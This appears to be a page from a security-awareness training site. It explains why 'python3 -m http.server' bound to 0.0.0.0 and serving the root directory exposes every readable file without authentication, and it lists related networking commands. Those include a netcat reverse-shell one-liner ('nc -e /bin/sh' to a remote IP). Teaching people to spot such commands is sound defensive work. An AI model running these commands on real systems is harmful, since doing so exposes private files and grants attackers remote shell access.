Dangerous: python3 -m http.server 8000 --bind 0.0.0.0 --directory /

Dangerous

python3 -m http.server 8000 --bind 0.0.0.0 --directory /

cross-platform · bash · Nightmare

Serves the entire filesystem to every network interface with no authentication. It is the same module used for harmless local file sharing; the two flags change it from a loopback convenience into unauthenticated read access to every file the user can open.

Signals to notice

Binds to all interfaces rather than loopback
Serves the filesystem root
No authentication of any kind

Think you can spot these under time pressure?

Start Training

More Networking

curl -s https://example.com/healthIntermediate
curl -fsSL https://example.com/release.asc | gpg --importIntermediate
ss -tulpnAdvanced
nc -zv example.com 443Advanced
nc -e /bin/sh 198.51.100.20 4444Advanced
sudo iptables -L -n -vExpert